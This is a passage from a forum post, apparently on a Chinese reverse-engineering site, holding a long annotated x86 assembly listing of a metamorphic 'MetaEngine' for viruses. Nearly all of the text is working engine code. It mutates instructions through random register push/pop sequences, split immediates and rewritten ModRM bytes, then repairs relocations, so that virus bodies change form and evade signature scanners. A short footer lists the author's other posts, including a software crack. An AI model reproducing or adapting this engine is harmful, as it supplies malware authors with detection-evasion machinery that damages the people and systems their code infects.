or al, 11000000b ; set [mod] = 11
stosb ; store
add esi, 1 ; increase code pointer
movsb ; copy imm8 byte
jmp LoadInstruction
; ___________________________________________________________________________
MakeTestImm8: ; CODE XREF: MetaEngine+46Bj
cmp al, 0A8h ; TEST AL, imm8?
jnz short MakeOpEaxImm32
add esi, 1 ; incrase code pointer by 1
mov al, 0F6h ; Replace A8 with the following sequence:
stosb ; F6 C0 xx test al, xx
mov al, 0C0h
stosb
movsb ; load and store immediate byte
jmp LoadInstruction
; ___________________________________________________________________________
MakeOpEaxImm32: ; CODE XREF: MetaEngine+475j
; MetaEngine+48Cj
cmp al, 40h ; opcode < 40?
jnb short MakeTestEaxImm32
mov ah, al ; ah = opcode
and ah, 111b ; save last 3 bits
cmp ah, 5 ; OP EAX, imm32?
jnz short isOp8Imm8
mov al, 81h ; Generate OP r/m32, imm32
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
stosb ; store
mov al, [esi] ; al = current opcode
and al, 111000b ; keep the [opcode] field
or al, 11000000b ; set [mod] = 11
stosb ; store ModRM byte
add esi, 1 ; increase code pointer
movsd ; copy immediate dword
jmp LoadInstruction
; ___________________________________________________________________________
MakeTestEaxImm32: ; CODE XREF: MetaEngine+49Fj
cmp al, 0A9h ; TEST EAX, imm32?
jnz short isOp8Imm8
add esi, 1 ; Replace A8 with the following sequence:
mov al, 0F7h ; F6 0C DD CC BB AA test eax, AABBCCDDh
stosb
mov al, 0C0h
stosb
movsd ; load and store immediate dword
jmp LoadInstruction
; ___________________________________________________________________________
isOp8Imm8: ; CODE XREF: MetaEngine+4A9j
; MetaEngine+4C0j
mov ah, al
and ah, 11111110b ; save all bits, but the 'w' bit
cmp ah, 80h ; OP r/m8,imm8?
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
jz short SaveOpcodeField
cmp ah, 0C6h ; MOV r/m8, imm8?
jz short SaveMovImm8Opcode
cmp ah, 0F6h ; OP r/m8?
; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST)
jnz short Change8bitTo32bit
mov bh, 84h ; bh = TEST r/m8, r8
jmp short __jmp_Mutate
; ___________________________________________________________________________
SaveOpcodeField: ; CODE XREF: MetaEngine+4D9j
mov bh, [esi+1] ; bh = ModRM of 80h
and bh, 111000b ; save [reg/opcode] field
jmp short __jmp_Mutate ; mutate
; ___________________________________________________________________________
SaveMovImm8Opcode: ; CODE XREF: MetaEngine+4DEj
mov bh, 88h ; bh = MOV r/m8, r8
__jmp_Mutate: ; CODE XREF: MetaEngine+4E7j
; MetaEngine+4EFj
jmp Morph4 ; mutate
; ___________________________________________________________________________
Change8bitTo32bit: ; CODE XREF: MetaEngine+4E3j
cmp al, 83h ; OP r/m32, imm8?
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
jnz short AbortEngine
mov al, 81h ; OP r/m32, imm32
stosb ; store
mov al, [esi+1] ; al = ModRM
stosb ; store
call CheckDisplacement ; returns cl: 0, 1 or 4
add esi, 2 ; increase code pointer by 2
rep movsb ; copy displacement
lodsb ; load one byte
call InvertSign
stosd ; store dword
jmp LoadInstruction
; ___________________________________________________________________________
FixRelocations: ; CODE XREF: MetaEngine+43j
mov ebx, edi
sub ebx, [ebp+outBuf] ; ebx = size of output buffer
mov esi, [ebp+RelocStart] ; esi = beginning of relocation table
AnalyzeCurrentEntry: ; CODE XREF: MetaEngine+52Fj
; MetaEngine+555j
add esi, 10h ; esi += 16
cmp esi, [ebp+RelocCurrent] ; are we finished?
jz short ReturnSuccess
mov edi, [esi+8] ; Pointer to offset of New Relative
cmp edi, 0 ; is it blank?
jz short AnalyzeCurrentEntry ; process next instruction
mov edx, [esi+0Ch] ; get New Relative Value
add edx, [esi] ; edx = InputIP + NewRelative
mov ecx, [ebp+RelocStart] ; ecx = pointer to disassembled code
sub ecx, 10h ; ecx -= 16 (for inter-loop reasons)
NextEntry: ; CODE XREF: MetaEngine+54Aj
add ecx, 10h ; check next entry
cmp ecx, [ebp+RelocCurrent] ; are we done?
jnz short LoopOverFirstEntry ; no, proceed to loop over 1st field entries
mov ecx, [esi] ; Save the InputIP
jmp short ReturnZero
; ___________________________________________________________________________
LoopOverFirstEntry: ; CODE XREF: MetaEngine+542j
cmp [ecx], edx ; edx = InputIP + NewRelative
; *ecx = InputIP
jnz short NextEntry
mov eax, [ecx+4] ; eax = OutputIP
sub eax, edi ; eax = OutputIP -
; OffsetNewNewRelative
sub eax, 4 ; eax -= 4, due to earlier calculations
stosd ; store NewRelative in OffsetNewRelative
jmp short AnalyzeCurrentEntry
; ___________________________________________________________________________
ReturnSuccess: ; CODE XREF: MetaEngine+527j
mov eax, ebx ; eax = size of buffer
jmp short FreeMemory
; ___________________________________________________________________________
AbortEngine: ; CODE XREF: MetaEngine+14Bj
; MetaEngine+154j ...
mov ecx, esi ; ecx = pointer to code
ReturnZero: ; CODE XREF: MetaEngine+546j
xor eax, eax ; eax = 0
FreeMemory: ; CODE XREF: MetaEngine+559j
push eax ; save return value
mov eax, [ebp+RelocStart] ; eax = start of disassembly buffer
push eax
call callVirtualFree ; free memory
pop eax ; restore return value
pop edi
pop esi ; restore registers
pop ebx
add esp, 8
pop ebp
nop
retn 0Ch
MetaEngine endp
; _______________ S U B R O U T I N E _______________________________________
; returns random eax (0 to 7)
Rnd7 proc near ; CODE XREF: MetaEngine+77p
; MetaEngine:Mutate?p ...
call Random
and eax, 111b
cmp eax, 0
retn
Rnd7 endp
; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine
StoreDisplacementPlus2: ; CODE XREF: MetaEngine+22Bj
; MetaEngine+27Aj ...
call CheckDisplacement ; returns cl: 0, 1 or 4
add cl, 2 ; 2 more bytes
StoreBytes: ; CODE XREF: MetaEngine+18Ej
; MetaEngine+1AEj ...
and ecx, 0FFh ; and the cl bits
rep movsb ; write until cl = 0
jmp LoadInstruction
; END OF FUNCTION CHUNK FOR MetaEngine
; _______________ S U B R O U T I N E _______________________________________
; returns cl: 0, 1 or 4
CheckDisplacement proc near ; CODE XREF: MetaEngine+2CCp
; MetaEngine+503p ...
xor ecx, ecx ; ecx = 0
mov cl, [esi+1] ; cl = ModRM
and cl, 11000000b
cmp cl, 0 ; [mod] == 00?
jz short ret_CheckDisplacement
cmp cl, 11000000b ; [mod] == 11?
jnz short isMod01
mov cl, 0 ; no displacement
jmp short ret_CheckDisplacement
; ___________________________________________________________________________
isMod01: ; CODE XREF: CheckDisplacement+10j
cmp cl, 1000000b ; [mod] == 01?
jnz short Mod10
mov cl, 1 ; 1 byte displacement
jmp short ret_CheckDisplacement
; ___________________________________________________________________________
Mod10: ; CODE XREF: CheckDisplacement+19j
mov cl, 4 ; 4 bytes displacement
ret_CheckDisplacement: ; CODE XREF: CheckDisplacement+Bj
; CheckDisplacement+14j ...
retn
CheckDisplacement endp
; _______________ S U B R O U T I N E _______________________________________
InvertSign proc near ; CODE XREF: MetaEngine+126p
; MetaEngine+3CBp ...
push ecx
xor ecx, ecx ; ecx = 0
cmp al, 0
jns short DontInvert
sub ecx, 1
DontInvert: ; CODE XREF: InvertSign+5j
mov cl, al
mov eax, ecx ; return value in eax
pop ecx
retn
InvertSign endp
; _______________ S U B R O U T I N E _______________________________________
; returns a random dword in EAX
; Attributes: bp-based frame
GetRandomDword proc near ; CODE XREF: MetaEngine+B5p
; MetaEngine+DAp ...
push ebp
mov ebp, esp
push ecx
push edx
call Random
mov edx, eax
call Random
and al, 11111b
mov cl, al
mov eax, 0FFFFFF00h
rol eax, cl
and edx, eax
call Random
and al, 11111b
mov cl, al
mov eax, 0FFFFFF00h
rol eax, cl
and edx, eax
mov eax, edx
pop edx
pop ecx
pop ebp
retn
GetRandomDword endp
; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine
Morph1: ; CODE XREF: MetaEngine+249j
; MetaEngine+298j
mov bh, 0 ; if bh == 0, choose random reg
call GetWBit ; dl = *esi & 1
call GetRandomReg32
add al, 50h ; Generate PUSH RandomReg
stosb ; store
mov al, 89h ; Generate MOV r/m32, r32
stosb ; store
mov al, [esi+1] ; al = original ModRM
and al, 111b ; save last 3 bits
rol al, 3 ; place original register in the [reg/opcode] field
or al, 11000000b ; set [mod] = 11
add al, bl ; set [reg] field = radnom register
stosb ; store
mov al, [esi+1] ; al = original ModRM
and al, 10000000b
cmp al, 0 ; if [mod] != 0
jnz short GenAddRandomReg32
mov cl, [esi+2] ; cl = imm8
mov al, 83h ; al = OP r/m32, imm8
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
stosb ; store
mov al, bl ; al = random reg
or al, 11000000b ; set [mod] = 11, [reg/opcode] = ADD
cmp cl, 0 ; check the sign of CL
js short GenSubRandomReg8
stosb ; store
call Random ; get random number
and al, 7Fh ; set it between 0 - 7F
stosb ; store
sub cl, al ; cl -= radnom
jmp short GenOpRegRandomReg8
; ___________________________________________________________________________
GenSubRandomReg8: ; CODE XREF: MetaEngine+633j
or al, 101000b ; set [reg/opcode] field = 101 (SUB)
stosb ; store
call Random ; get random number
and al, 7Fh ; set it between 0 - 7F
stosb ; store
add cl, al ; cl += random
GenOpRegRandomReg8: ; CODE XREF: MetaEngine+640j
movsb ; copy original opcode byte
lodsb ; al = ModRM
and al, 11111000b ; save [mod] and [reg/opcode] fields
add al, bl ; add random register
stosb ; store
mov al, cl ; al = random number
stosb ; store
add esi, 1 ; increase code counter
jmp short GenPopRandomReg
; ___________________________________________________________________________
GenAddRandomReg32: ; CODE XREF: MetaEngine+624j
mov ecx, [esi+2] ; ecx = imm32
mov al, 81h ; al = OP r/m32, imm32
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
stosb ; store
mov al, bl ; al = random register
or al, 11000000b ; set [mod] = 11, [reg/opcode] = ADD
cmp ecx, 0 ; check sign of imm32
js short GenSubRandomReg32
stosb ; store
call Random ; get random number
and eax, 7FFh ; set it between 0 - 77F
stosd ; store dword
sub ecx, eax ; ecx -= random
jmp short GenOpRegRandomReg32
; ___________________________________________________________________________
GenSubRandomReg32: ; CODE XREF: MetaEngine+66Bj
or al, 101000b ; set [reg/opcode] field = 101 (SUB)
stosb ; store
call Random ; get random number
and eax, 77Fh ; set it between 0 - 77F
stosd ; store dword
add ecx, eax ; ecx += random
GenOpRegRandomReg32: ; CODE XREF: MetaEngine+67Bj
movsb ; copy original opcode byte
lodsb ; al = ModRM
and al, 11111000b ; clear the [reg] field
add al, bl ; add random reg
stosb ; store
mov eax, ecx ; eax = random dword
stosd ; store dword
add esi, 4 ; incrase code pointer by 4
GenPopRandomReg: ; CODE XREF: MetaEngine+65Cj
mov al, bl ; al = random register
add al, 58h ; Generate POP RandomReg
stosb ; store
jmp LoadInstruction
; END OF FUNCTION CHUNK FOR MetaEngine
; _______________ S U B R O U T I N E _______________________________________
; dl = *esi & 1
GetWBit proc near ; CODE XREF: MetaEngine+600p
; GetRandomReg8p
mov dl, [esi]
and dl, 1
GetWBit endp
; _______________ S U B R O U T I N E _______________________________________
; returns: dh(w=1)=FB; dh(w=0)=FF;
ModifyDh proc near ; CODE XREF: MetaEngine+7BCp
mov dh, dl ; dh = w bit
xor dh, 1 ; inverse
rol dh, 2
xor dh, 11111111b
retn
ModifyDh endp
; _______________ S U B R O U T I N E _______________________________________
; returns: bl = random reg value (0-7)
GetRandomReg8 proc near ; CODE XREF: MetaEngine+733p
; MetaEngine+77Ap ...
call GetWBit ; dl = *esi & 1
cmp dl, 0 ; is it 8bit?
jnz short GetRandomReg32 ; no, go to the 32bit version
GetReg8: ; CODE XREF: GetRandomReg8+24j
; GetRandomReg8+38j
call Random ; get random number
and al, 111b ; make it bwtween 0-7
mov cl, al ; cl = random number
and cl, dh
mov ch, [esi+1] ; ch = ModRM
cmp ch, 11000000b
jb short CheckReg8
and ch, dh
CheckReg8: ; CODE XREF: GetRandomReg8+1Bj
and ch, 111b ; keep the last 3 bits
cmp cl, ch ; the same register?
jz short GetReg8 ; get another one
cmp bh, 0
jnz short ret_RandomReg8
mov ch, [esi+1] ; ch = ModRM
ror ch, 3 ; check the [reg/opcode] field
and ch, 111b
and ch, dh
cmp cl, ch ; the same register?
jz short GetReg8 ; get another one
ret_RandomReg8: ; CODE XREF: GetRandomReg8+29j
mov bl, al ; bl = random register
retn
GetRandomReg8 endp
; _______________ S U B R O U T I N E _______________________________________
GetRandomReg32 proc near ; CODE XREF: MetaEngine+605p
; GetRandomReg8+8j ...
call Random ; get random number
and al, 111b ; make it between 0-7 (a register)
cmp al, 4 ; ESP?
jz short GetRandomReg32 ; avoid
cmp al, 5 ; EBP?
jz short GetRandomReg32 ; avoid
mov cl, al ; cl = random reg
mov ch, [esi+1] ; ch = ModRM
cmp ch, 11000000b
jb short loc_40270A
and cl, dh
and ch, dh
loc_40270A: ; CODE XREF: GetRandomReg32+17j
and ch, 111b ; keep last 3 bits
cmp cl, ch ; is the [reg] field in ModRM == random reg?
jz short GetRandomReg32 ; yes, choose another register
cmp bh, 0 ; if (flag) == false
jnz short ret_RandomReg32
mov cl, al ; cl = random reg
and cl, dh
mov ch, [esi+1] ; ch = ModRM
ror ch, 3
and ch, 111b ; keep last 3 bits
and ch, dh
cmp cl, ch
jz short GetRandomReg32
ret_RandomReg32: ; CODE XREF: GetRandomReg32+27j
mov bl, al ; bl = random reg
retn
GetRandomReg32 endp
; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine
Morph2: ; CODE XREF: MetaEngine:jmp_Mutatej
mov bh, 0
call GetRandomReg8 ; returns: bl = random reg value (0-7)
call MakePushRandomReg ; store (bl & dh) + 50h
mov al, 8Ah ; Generate MOV r8,r/m8
add al, dl ; dl = w bit
stosb ; store (8A or 8B)
mov al, [esi+1] ; al = ModRM
and al, 111000b ; save the [reg/opcode] field
ror al, 3 ; move first reg to the [reg] field
mov ah, bl ; ah = random reg
rol ah, 3 ; move random reg ro the [reg/opcode] field
add al, ah ; add it
or al, 11000000b ; set [mod] = 11
stosb ; store
mov al, [esi] ; al = original opcode
stosb ; store
mov al, [esi+1] ; al = ModRM
and al, 11000111b ; save [reg/opcode] field
mov ah, bl ; ah = random reg
rol ah, 3 ; save random reg in the [reg/opcode] field
add al, ah ; add random reg to ModRM
stosb ; store
call CheckDisplacement ; returns cl: 0, 1 or 4
add esi, 2 ; increase code pointer by 2
rep movsb ; copy displacement
call MakePopRandomReg ; store (bl & dh) + 58h
jmp LoadInstruction
; ___________________________________________________________________________
Morph3: ; CODE XREF: MetaEngine:_jmp_Mutatej
mov bh, 0
call GetRandomReg8 ; returns: bl = random reg value (0-7)
call MakePushRandomReg ; store (bl & dh) + 50h
mov al, [esi] ; al = opcode
and al, 11111110b ; clear w bit
cmp al, 8Ah ; MOV r8, r/m8?
jz short Morph3_Continue ; jump to 8 bit version
mov al, 88h ; Generate MOV r32, r/m32
add al, dl ; add the w bit
stosb ; store
mov al, [esi+1] ; al = ModRM
and al, 111000b ; clear the [reg] field
add al, bl ; add random register
or al, 11000000b ; set [mod] = 11
stosb ; store
Morph3_Continue: ; CODE XREF: MetaEngine+78Aj
mov al, [esi] ; al = original opcode
mov dh, al ; dh = original opcode
stosb ; store
mov al, [esi+1] ; al = ModRM
and al, 11000111b ; clear [reg/opcode] field
mov ah, bl ; ah = random register
rol ah, 3 ; place it in the [reg/opcode] field
add al, ah ; add to ModRM
stosb ; store ModRM
mov bh, [esi+1] ; bh = original ModRM
call CheckDisplacement ; returns cl: 0, 1 or 4
add esi, 2 ; increase code counter by 2
rep movsb ; copy displacement
mov al, dh ; al = opcode
call ModifyDh ; returns: dh(w=1)=FB; dh(w=0)=FF;
and al, 11111110b ; clear w bit
cmp al, 3Ah ; CMP r8, r/m8?
jz short Wrap_Morph3
mov al, 8Ah ; al = MOV r8, r/m8, direction flag set
add al, dl ; add the w bit
stosb ; store opcode
mov al, bh ; al = original ModRM
and al, 111000b ; clear the [reg] field
add al, bl ; add random register
or al, 11000000b ; set [mod] = 11
stosb
Wrap_Morph3: ; CODE XREF: MetaEngine+7C5j
call MakePopRandomReg ; store (bl & dh) + 58h
jmp LoadInstruction
; ___________________________________________________________________________
Morph4: ; CODE XREF: MetaEngine:__jmp_Mutatej
call GetRandomReg8 ; returns: bl = random reg value (0-7)
call MakePushRandomReg ; store (bl & dh) + 50h
mov al, dl ; al = w bit
rol al, 3 ; move the w bit 3 bits left
add al, 0B0h ; Generate MOV r8/32, imm8/32
; B0 = 1011 w reg
add al, bl ; add random register
stosb ; store
call CheckDisplacement ; returns cl: 0, 1 or 4
add ecx, esi ; add location+displacement
mov eax, [ecx+2] ; eax = original immediate
cmp dl, 0 ; check the w bit
jz short StoreOneByte ; store one byte
stosd ; store dword
jmp short Morph4_Continue
; ___________________________________________________________________________
StoreOneByte: ; CODE XREF: MetaEngine+800j
stosb ; store one byte
Morph4_Continue: ; CODE XREF: MetaEngine+803j
mov al, bh ; bh = opcode saved before call to this routine
add al, dl ; add the w bit
stosb ; store
mov al, [esi+1] ; al = original ModRM
and al, 11000111b ; clear the [reg/opcode] field
mov ah, bl ; ah = random reg
rol ah, 3 ; place it in the [reg/opcode] field
add al, ah ; add to ModRM byte
stosb ; store
call CheckDisplacement ; returns cl: 0, 1 or 4
add esi, 2 ; increase code pointer by 2
rep movsb ; copy displacement
add esi, 1 ; increase code pointer
cmp dl, 0 ; check w bit
jz short Wrap_Morph4
add esi, 3 ; increase code pointer by 3
Wrap_Morph4: ; CODE XREF: MetaEngine+828j
call MakePopRandomReg ; store (bl & dh) + 58h
jmp LoadInstruction
; END OF FUNCTION CHUNK FOR MetaEngine
; _______________ S U B R O U T I N E _______________________________________
; store (bl & dh) + 50h
MakePushRandomReg proc near ; CODE XREF: MetaEngine+738p
; MetaEngine+77Fp ...
mov al, bl
and al, dh
add al, 50h
stosb
retn
MakePushRandomReg endp
; _______________ S U B R O U T I N E _______________________________________
; store (bl & dh) + 58h
MakePopRandomReg proc near ; CODE XREF: MetaEngine+76Ep
; MetaEngine:Wrap_Morph3p ...
mov al, bl
and al, dh
add al, 58h
stosb
retn
MakePopRandomReg endp
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
- [推荐syser v1.99.1900.1185 注册破解 3206
- [原创]DDK环境超简单配置 3935
- [推荐]a simple meta-engine for virus 3397
- [求助]驱动调用bios 5937
看原图
赞赏
雪币:
留言: